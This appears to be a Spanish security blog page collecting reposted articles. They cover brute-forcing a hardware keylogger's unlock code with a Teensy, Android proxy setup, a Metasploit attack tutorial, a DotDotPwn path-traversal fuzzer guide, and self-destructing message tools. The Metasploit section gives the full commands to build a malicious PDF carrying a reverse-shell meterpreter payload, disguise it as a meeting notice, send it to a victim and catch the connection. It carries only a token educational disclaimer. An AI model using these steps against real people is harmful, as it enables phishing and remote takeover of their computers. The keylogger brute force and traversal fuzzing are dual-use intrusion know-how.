Banner 1

Hacking KeyLoggers

0 comentarios
By Mike Spohn and Brad Antoniewicz.

Our forensics investigations often result in us having to identify odd devices left over by attackers. So when we recently had to investigate a suspicious USB device connected between the keyboard and USB port on the rear chassis of a senior executive’s desktop computer, my job (I chose to accept it) was to discover what the device was and if it was evil.


Identifying the Device

The device was a very non-descript in appearance. It measured exactly 1” in length from the rear edge to the beginning of the male connector. The edges were beveled and the universal USB symbol was imprinted on the top and bottom. There were evenly spaced vertical striations on the sides. Here's an image of a keylogger from a competitor's site that resembled the device we were investigating.



Being the suspicious sort I am, this device and I did not become instant friends. A colleague scoured the Internet and notified me he found a very similar device manufactured by a company who specializes in hardware keystroke loggers. Since the device was relatively cheap (< $80), I ordered one for experimentation in the forensic lab. I'm intentionally not disclosing the actual manufacturer of the device so that they won't figure out a way to protect themselves against our attacks described below.

When the keylog device arrived, I visually compared it with the suspicious device provided by the client. They appeared identical. I next used an ohmmeter to measure the electrical properties of each device. Measuring the resistance between the front and rear USB pins determined both devices had the exact same electrical properties. The ohmmeter also indicated the devices had resistive/capacitive (RC) characteristics due the obvious RC time constant resistance behavior. At this point, I knew the device was not passive – it has an electronic brain.

The Unlock Code

Reading the documentation for the keylog device I learned it had a simple, elegant design. When the device is plugged into a computer and the O/S interrogates the device via Plug-N-Play (PNP), the device does not respond. Instead, the device goes into keyboard capture mode and logs every keystroke to a simple text file. All keystrokes are then passed on to the computer.

To retrieve a keystroke log from the keylog device, the owner must enter a three-key combination of keystrokes. The three keys must be alpha-numeric and must be pressed at the same time. For example, if the unlock key combination is ‘ABC,’ the owner must press the ‘A’ ‘B’ abd ‘C’ keys at the same time. Case does not matter. The unlock code can be changed from the default by placing a config.ini file on the device with a “Password=” entry.

Once the correct unlock key combination is entered, the device will send a PNP signal to the O/S. The device will advertise itself as a removable disk device, and the O/S will mount it. Once mounted, the owner can retrieve the keystroke log.

I attempted to unlock the clients’ device using the ‘default’ unlock code and it did not mount. If this was, in fact, a keylog device, the owner changed the unlock code. My challenge now was - how do I unlock the device?

The solution seemed obvious. Figure out a way to emulate a USB keyboard and send all combinations of three-key codes to the device until the right combination is sent. Simple – right? Not so fast Sherlock. Remember, you have to send the unlock code to the rear (keyboard) side of the device, not from the host computer.

USB Keyboard Emulation

The first thing that came to mind was a Teensy. This device, about the size of a postage stamp, provides a complete development environment for emulating a USB device and USB keyboard emulation. Even better, the device costs $16 US.

Once I had a Teensy 2.0 in the lab, I wrote a quick test program in C and transferred it to the device. After some experimentation, I had a complete program that would send all three-key alpha-numeric key combinations out the mini-usb port of the Teensy device. To crack the keylog unlock code I had to perform three steps:
  1. Burn my key-crack application on the Teensy device
  2. Connect the keylog device to a computer
  3. Connect the Teensy device to the rear connector of the keylog device

Using The Teensy 2.0 To Brute Force The Unlock Key

You'll have to configure your system if you've never used the Teensy before. Our test system will be using Backtrack 5 R3. Windows was used originally, but once Windows 7 couldn't find the driver for my USB keyboard I jumped over to Linux. In the end the OS doesn't make much of a difference because once you identify the unlock code, it automatically mounts itself as a storage device accessible by all modern operating systems.

First up, we'll need to install our prerequisites:

 root@bt:~# apt-get install gcc-avr binutils-avr avr-libc



You can flash the Teensy a variety of ways, here we'll do it using the Teensy Loader CLI utility:

 root@bt:~# wget http://www.pjrc.com/teensy/teensy_loader_cli.2.0.tar.gz
 root@bt:~# tar -zxvf teensy_loader_cli.2.0.tar.gz
 root@bt:~# wget http://www.pjrc.com/teensy/hid_listen_1.01.zip
 root@bt:~# unzip hid_listen_1.01.zip



The Makefile included in the repository will perform the flash, which we'll go over in a couple of steps. For now, it's just important that the loader is on your system and decompressed. Next will grab a copy of the repository:

 root@bt:~# git clone https://github.com/OpenSecurityResearch/usb-keylog-crack.git
 root@bt:~# cd usb-keylog-crack



Edit the Makefile and set TEENSY_LOADER_CLI with the path to the teensy_loader_cli binary. By default it's set to ../teensy_loader_cli/teensy_loader_cli:

 root@bt:~/usb-keylog-crack# grep "TEENSY_LOADER_CLI " Makefile
# Be sure to set TEENSY_LOADER_CLI variable below
TEENSY_LOADER_CLI = ../teensy_loader_cli/teensy_loader_cli



With the appropriate values set, you can build the cracker:

 root@bt:~/usb-keylog-crack# make all



To flash, insert the Teensy and press the "Reset" button, this will put it into it's HalfKay bootloader. Now we can flash the usb-keylog-crack code:

  root@bt:~/usb-keylog-crack# make program
../teensy_loader_cli/teensy_loader_cli -mmcu=atmega32u4         -v usb_keylog_crack.hex
Teensy Loader, Command Line, Version 2.0
Read "usb_keylog_crack.hex": 5008 bytes, 15.5% usage
Found HalfKay Bootloader
Programming........................................
Booting
root@bt:~/usb-keylog-crack#



usb-keylog-crack uses the Teensy's USB debugging functionality to provide information during the cracking. We'll use the hid_listen utility to grab this debugging info:

 root@bt:~/usb-keylog-crack# cd ~/ 
 root@bt:~# wget http://www.pjrc.com/teensy/hid_listen_1.01.zip
 root@bt:~# unzip hid_listen_1.01.zip
 root@bt:~# cd hid_listen
 root@bt:~/hid_listen# make
 root@bt:~/hid_listen# ./hid_listen
Waiting for device:...



Now we're ready - Insert the Teensy 2.0 into the Keylogger, then insert the Keylogger into the computer. Sit back and relax, after a few minutes you should see the banner and brute force attempts:

 root@bt:~/hid_listen# ./hid_listen
Waiting for device:...
Listening:
Keylog crack application
Written by Michael G. Spohn
June 3, 2012
0001) Trying: QWQ (0014 001A 0014)
0002) Trying: QWE (0014 001A 0008)
0003) Trying: QWR (0014 001A 0015)
0004) Trying: QWT (0014 001A 0017)
0005) Trying: QWY (0014 001A 001C)
0006) Trying: QWU (0014 001A 0018)
0007) Trying: QWI (0014 001A 000C)
0008) Trying: QWO (0014 001A 0012)
0009) Trying: QWP (0014 001A 0013)
000A) Trying: QWA (0014 001A 0004)
000B) Trying: QWS (0014 001A 0016)
000C) Trying: QWD (0014 001A 0007)
000D) Trying: QWF (0014 001A 0009)
000E) Trying: QWG (0014 001A 000A)
000F) Trying: QWH (0014 001A 000B)
0010) Trying: QWJ (0014 001A 000D)
0011) Trying: QWK (0014 001A 000E)
0012) Trying: QWL (0014 001A 000F)
0013) Trying: QWZ (0014 001A 001D)
0014) Trying: QWX (0014 001A 001B)



I threw everything together in a quick video:



Attacking the Attacker

I tested my key-crack rig against the R&D device. It worked - but it was inconsistent. Occasionally, the test keylog device would mount after successfully guessing the unlock keycode, but the keystroke log file was gone. In fact, it appeared the device had been wiped.

More experimentation determined there was an ‘undocumented’ feature of the device. A specific three-key unlock code had been assigned by the manufacturer as a ‘reset’ code. This is used in the event someone forgets their unlock keycode. Whenever my Teensy sent this combination down the wire – the keylog device was wiped. I modified my key-crack app to bypass the unlock code. After some more thorough testing, I was confident my Teensy would unlock the clients’ keylog device.



It took less than 30 seconds. The clients’ keylog device mounted and I was able to retrieve the keystroke log file and the config.ini file. Since the keystroke log has no concept of time, the client had to review the file content and correlate how much sensitive data might be somewhere it does not belong. Needless to say, providing this keystroke log file to the client was a truly valuable service.

Final Thoughts

These types of engagements always remind me of the importance of the physical security component of any security program. The keystroke log bandit who placed the device on the clients’ computer had to have physical access to it.

You read a lot these days about businesses and governments trying to re-invent themselves by focusing on innovation and ingenuity. This also applies to the digital security incident response universe. Innovation and adaptation to the constantly changing environment during a hot incident is essential. To all my fellow white-hats out there – never ever give up the good fight. If we do, we all lose.

Hack the planet.

Fuente:http://blog.opensecurityresearch.com

Proxy en Terminales Android 1.6, 2.1, 2.2 ...

0 comentarios


Después de mucho indagar y probar cientos de soluciones en distintas versiones de Android.

Hemos podido comprobar cuales merecen la pena y funcionan de verdad.



Opciones:


- En un Android custom como el Cyanogenmod lo tendremos muy facil pues, en Menu -> Ajustes -> Conexiones inalámbricas -> Proxy ((Para los ingleses: Menu -> Settings -> Wireless & network -> Proxy settings )) tendremos la opción de configurar el proxy que utilizará nuestro terminal para las conexiones wifi en todas las aplicaciones que lo necesiten.
Poniendo la IP o dirección y el Puerto en sus respectivos campos.


- Si disponemos de Android NO custom, Original... (cualquier version que soporte Opera Mobile)
Instalaremos Opera Mobile (disponible desde la market) el cual nos permitira configurar el proxy para este rápido navegador.
Lo haremos de la siguiente manera:
Abrimos Opera Mobile y en la barra de direcciones escribimos:
about:config

Nos cargará una pagina repleta de opciones, nos dirigimos a la que pone Proxy.
Desplegara campos y opciones.
Rellenamos
FTP server
IPóDirección:Puerto

HTTP server
IPóDirección:Puerto

HTTPS server
IPóDirección:Puerto

Marcamos ahora la opción Use FTP , Use HTTP y USE HTTPS.

Así ya tendremos nuestro Opera en Android listo para navegar através de un proxy. Os adjunto imagenes por si es más sencillo de comprender este paso:







Además si volvieramos a utilizar una red SIN proxy podriamos utilizar otro navegador reservando Opera sólo para la red con proxy para no tener que ir editando opciones cada vez.

- Para los que no puedan instalar Opera Mobile y tengan Android 1.6 lo tienen un poco mas difícil:
Necesitaremos descargar el AnyCut (se encuentra disponible en la market) y la aplicacion para habilitar el proxy en Android desde aqui
Instalaremos las dos aplicaciones y luego crearemos un acceso directo en 'Home' con AnyCut a la configuración de proxy.
Abrimos Anycut desde el Menú -> New Shortcut -> Activity -> Configuración de Proxy.

Ahora cada vez que queramos conectarnos através de un proxy en una red utilizaremos este acceso directo para poner la IP o direccion y el puerto del Proxy en cuestión y guardamos.
Después en menu ejecutamos la otra aplicación ProxySetting y repetimos los mismo campos que acabamos de poner en el acceso directo.
Ya tendremos habilitado el Proxy en el navegador por defecto de Android.
Sentimos decir que sólo será aplicable al navegador, las demas aplicaciones no reconoceran el proxy.

Cuando volvamos a conectarnos a una red sin Proxy tendremos que borrar los cambios hechos con el acceso directo y el programa ProxySetting.

Espero que os haya servido.
Para cualquier duda o sugerencia comentar ;)
Saludos!
 
http://frikinux.blogspot.com

Explotando Windows 7-XP mediante PDF Escape desde Metasploit

0 comentarios



En la actualidad como mucho de nosotros sabemos, la mayoría de las personas optan por usar el famosillo Sistema Operativo Windows, ya sea XP - 7 o la nueva que se lanzo hace poco el Windows 8, entonces es lógico que si usan Windows es por cosas de trabajo, estudio, diversión  etc. 
También es de conocimiento que Windows actualmente es vulnerable a cualquier ataque cibernetico, ya sea mediante exploits, vulnerabilidades, troyanos, etc, es por ello que muchos preferimos usar cualquier otro sistema que no sea Windows.
Pero ustedes se preguntaran ¿Porque Windows es tan Vulnerable?... Pues, porque nosotros mismos lo hacemos vulnerable!!! entonces ustedes dirán !Joder que Coña! si mis Firewall, Antivirus están actualizados! ... pues eso no tiene nada que ver, porque el sistema es explotado mediante las vulnerabilidades que tienen los programas que acostumbran a instalar diariamente, por ejemplo el  Adobe PDF, Microsoft Word, Ares, Reproductor de Windows, Winamp, VLC u otros, ¿Por que creen que las empresas actualizan sus Softwares (programas que usamos) semanalmente?... Porque, no es porque les guste... es con el fin de parchear las vulnerabilidades que se presentan diariamente en estos programas, y así "ayudan" a que el sistema sea un poco "seguro".

En este tutorial voy a demostrar como aprovecharnos de las vulnerabilidades que se presentan en los programas que tienen instalado un Sistema Operativo Windows 7 o XP, para asi tener el control total del sistema.
Para tal caso utilizare la vulnerabilidad Adobe PDF Escape EXE Social Engineering (No JavaScript) ya que casi el 95% (quizá) de los usuarios de Windows tienen instalado el Adobe Acrobat ya sea en su ordenador o notebook.
REQUERIMIENTOS:

  • Backtrack 5 R1 - R2 o R3 (Atacante)
  • Metasploit Framework (Atacante)
  • Windows XP - 7 (Victima)
  • Adobe Reader 9.1 (Victima)


PROCEDIMIENTOS:

Lo primero que tenemos que hacer es crear el PDF malicioso desde el Metasploit, dicho archivo sera enviado a nuestra victima usando Ing. Social para que logre abrirlo y así obtener acceso a su sistema.
Abrimos el Metasploit y tecleamos los siguientes comandos:
---------------------------------------------------------------------------------------------------------------------------
use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs (Usar adobe pdf embedded exe exploit)
set payload windows/meterpreter/reverse_tcp (Payload que devolvera un Meterpreter)
set filename Important_Meeting_Notice.pdf (Creara el archivo PDF malicioso)
set lhost 192.168.1.17 (IP del Atacante) 
set lport 8080 (Puerto open de la Victima)
exploit
---------------------------------------------------------------------------------------------------------------------------


Después de haber generado el PDF malicioso con los comandos mencionados, se almacenera en la carpeta /root/.msf4/local/ si no logras ver la carpeta /.msf4/ teclea Ctrl+H y observeras dicha carpeta.
El siguiente paso es enviar el PDF malicioso generado a nuestra victima, ya sea por e-mail, link de descarga u otros métodos que se nos pueda ocurrir (Ing. Social).
Si logramos que nuestra victima acepte dicho archivo, inmediatamente abrimos nuevamente el Metasploit en otra consola para generar la conexión que recibiremos cuando la victima ejecute el PDF, ejecutando los siguientes comandos:
---------------------------------------------------------------------------------------------------------------------------
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set lport 8080 
set lhost 192.168.1.17  
exploit
---------------------------------------------------------------------------------------------------------------------------
Cuando la victima ejecuta el PDF malicioso, Adobe Acrobat le mostrara un mensaje preguntándole si desea ejecutar el archivo, como indica la siguiente imagen:
Después de que la victima haga clic en "Abrir" automáticamente recibiremos la conexión inversa en nuestra consola del Metasploit, tal cual se muestra en la siguiente imagen:
Y voila! hemos "owneado" el sistema de nuestra victima ;)
CONCLUSIÓN:
Después de haber realizado con éxito este ataque, se puede migrar el proceso explorer.exe en nuestra victima.
La versión vulnerable de este ataque es el Adobe Acrobat 9.1, por lo tanto si no queremos ser victima de dicho ataque, se recomienda actualizar a una versión mayor.
El tutorial es solo con fines EDUCATIVOS, cualquier uso malintencionado del mismo es responsabilidad entera de cada uno.
Recuerden solo practicar con fines de aprendizaje.
Un saludo y hasta la proxima ;)
 
Fuente:http://www.blackploit.com

Directory Traversal con Dotdotpwn v3.0 Parte (I)

0 comentarios
 directorios
Muchas veces cuando testeamos un parametro o url en busca de una vulneravilidad de tipo Path traversal, se hace insoportable tener que estar inyectando posibles vectores en afan de encontrar una respuesta atipica en el servidor y asi poder visualizar el fichero deseado. Para esta tediosa tarea podemos contar con la ayuda de un fuzzer poderoso como lo es DotDotpwn, la idea de esto, es la de armar un tutorial completo sobre la herramienta. Para los que desconoscan de esta tecnica aca les dejo unos link donde pueden encontrar buena informacion respecto a su desarrollo.
Bueno comencemos presentando a esta belleza escrita en perl , que ya va por su version 3.0.

     Caracteristicas:

  • Algoritmo de biseccion que mejora la deteccion de vulnerabilidades.
Que carajo es eso?…bueno, es un metodo matematico que se encarga de buscar raices, dividiendo un intervalo a la mitad y seleccionando el subintervalo que tiene la raiz. Para los que no sepan lo que es la raiz, vieron esa p$t# “x” que se encontraba en las ecuaciones que nos daban en la escuela!…ahora se acuerdan no?.
  • Ademas de GET se añadieron otros metodos de peticiones HTTP (POST|MOVE|COPY|HEAD)
  • Cuenta con un modificador para especificar la extensión del archivo que se adjunta al final de cada cadena (*.jpg, *.php, *.inc, *.pdf, *.doc, *.sql)
  • Nueva codificacion de cararcteres ../ en UTF-8 Hex Encoding y URI Hex Encoding.
    • Soporte para los soguientes modulos:

  • - HTTP
  • - HTTP URL
  • - FTP
  • - TFTP
  • - Payload (Independiente del protocolo)
  • - STDOUT
 Bueno basta de introducciones y comenzemos por fin a probar este fierraso. Para que Dotdotpwn funcione correctamente deberan tener las siguientes requerimientos en su sistema.

      Requerimientos:

  • Modulos de perl:
  • Net::FTP
  • TFTP
  • Time::HiRes
  • Socket
  • HTTP::Lite
  • IO::Socket
  • Getopt::Std
  •  Switch
Para instalar los moudulos hacemos uso de cpan, este es un gestor de descargas para modulos de perl.
$ sudo cpan
 cpan[1]>install HTTP::Lite
 cpan[2]>install Net::FTP
 cpan[3]>install TFTP
 cpan[4]>install Time::HiRes
 cpan[5]>install Socket
 cpan[6]>install IO::Socket
 cpan[7]>install Getopt::Std
 cpan[8]>install Switch
Ahora si! descargamos DotDotPwn, extraemos y lo lanzamos!.
 Dotdotpwn
A continuacion paso a explicar las distintas opciones con las que cuenta.

Modo de uso:

./dotdotpwn.pl -m -h [OPCIONES]
Lista de Opciones:
  • -m   Tipos de modulos que soporta [http | http-url | ftp | tftp | payload | stdout]
  • -h    Hostname
  • -O   Hace una deteccion del sistema operativo a travez del uso de nmap
  • -o    Si por alguna razon sabes el tipo de S.O que utiliza el servidor podemos especificarlo para ahorrar tiempo (“windows”, “unix” o “generico”)
  • -s    Deteccion de la version de servicios
  • -d    Con esta opcion podemos establecer la cantidad de ../ a inyectar, por defecto usa 6 espacios.
  • -f    Especificamos el tipo de archivo a buscar
  • -E   Agrega las direcciones de archivos que se encuentran en el fichero TraversalEngine.pm
  • -u    Indicamos la url en la que haremos la inyeccion del vector, en el parametro a inyectar usaremos la variable TRAVERSAL quedando de esta manera: http://foo:8080/id.php?x=TRAVERSAL&y=31337)
  • -k    Busca una cadena en alguna respuesta del servidor, por ejemplo si estamos buscando el fichero /etc/passwd le establecemos la palabra “root:”,esta opcion es necesaria cuando utilizamos los modulos http-url y Payload
  • -p    Nombre del payload que usaremos en la variable TRAVERSAL
  • -x    Puerto (default: HTTP=80; FTP=21; TFTP=69)
  • -t    Tiempo en milisegundo entre cada testeo (default: 300 (.3 second))
  • -X    Indicamos que use el algoritmo de biseccion.
  • -e    Indicamos las extenciones de archivos para realizar un fuzzing a la cadena ( “.php”, “.jpg”, “.inc”)
  • -U    Username (default: ‘anonymous’)
  • -P    Password (default: ‘dot@dot.pwn’)
  • -M   Metodos HTTP a usar para el envio [GET | POST | HEAD | COPY | MOVE] (default: GET)
  • -r     Establece el nombre del archivo de log donde se guardara el test (default: ‘HOST_MM-DD-YYYY_HOUR-MIN.txt’)
  • -b    Parara cuando se encuentre la primer vulnerabilidad
  • -q    No imprime la salida del programa.
Bueno eso es todo por hoy! en el proximo post empezare con las pruebas de fuzzing y  desarrollare el uso de todos los modulos presentes en Dotdotpwn.

Quemar despues de leer

0 comentarios
Quien no se acuerda de la ya mítica frase "este mensaje se auto-destruirá en 30 segundos"... Uno de los grandes peligros de Internet es que, como nuevo sistema de comunicación, mucha gente aún no es completamente consciente de los peligros que conlleva poner enormes cantidades de información personal en servidores sobre los que no tenemos ningún control.

Hoy por hoy existen infinidad de herramientas que de forma automática se dedican a recopilar información personal como por ejemplo MALTEGO o la FOCA, que explotan la red buscando información almacenada en servidores, caché, material no indexado, etc.

Esto supone una grave amenaza a nuestra intimidad, pudiendo hacer pública información sensible. Sin darnos cuenta nosotros mismos vamos dejando miguitas de pan que un astuto enemigo puede ir recogiendo hasta llenar la cesta de nuestra desdicha... Ante esto no es descabellado pensar en una autopolítica de gestión de nuestra información y tomar medidas tales como cifrar mensajes o, por qué no, generar mensajes que se auto-destruyan a lo inspector Gadget. 

Hay herramientas y websites que nos permiten llevar a la practica esta medida de seguridad extra para con nuestra información, tales como:
 

Burn note: es un website que permite una comunicación privada entre dos puntos. 

No es obligatorio realizar registro de usuario alguno, aunque esta opción es posible. 

A la hora de escribir el mensaje privado que deseamos enviarle al destinatario podremos establecer un temporizador para hacer desaparecer la nota tras los segundos que indiquemos, además de proteger el mensaje mediante contraseña. Si no activamos el temporizador, el destinatario tendrá tan sólo tres minutos para leer el contenido. Tras escribir la nota nos dará un enlace que deberemos hacer llegar al destinatario. Otros sites similares



Tiger tex: es una herramienta para iPhone, Android, Blackberry y Windows Phone 7


El sistema presentado en febrero del año pasado permite proteger la privacidad de los mensajes SMS que se mandan de un celular a otro. La única condición es que ambos móviles que se comunican entre sí tengan instalada esta aplicación. En este caso los textos se convierten en auto-destructivos: una vez enviado el mensaje, se borra en el celular del remitente; una vez leído por el destinatario, también se auto-destruye en el celular de este. Además desaparecen de los datos de la compañía telefónica, con lo que resultan irrecuperables. La opción funciona también para las fotos y los vídeos. 

La aplicación está disponible sobre todo para Iphone, aunque los creadores están trabajando en versiones para otros soportes. Esta herramienta le habría venido muy bien a Tiger woods xdd

Vanish: (programa creado por dos estudiantes de la universidad de Washington), podemos tener un grado más de seguridad gracias a la autodestrucción de los textos de correos electrónicos, mensajes en foros, blogs, etc. en una fecha programada por dicho usuario. 


La forma de actuar de Vanish es cifrar el contenido de este texto con una llave que ni siquiera el propio usuario del programa conocerá. 

Una vez cifrado el texto con Vanish y elegida la fecha de autodestrucción, el texto será legible (usando Vanish para descifrarlo) pero, al llegar la fecha fijada, el texto desaparecerá ya que Vanish romperá la llave de cifrado repartiendo infinidad de trozos de ésta por la red usando la tecnología P2P. Por cada ordenador que tenga una parte de la llave y que se desconecte se irá borrando parte del texto haciéndola al final completamente ilegible.

Fuente: http://www.hackplayers.com
Powered by Bad Robot
Helped by Blackubay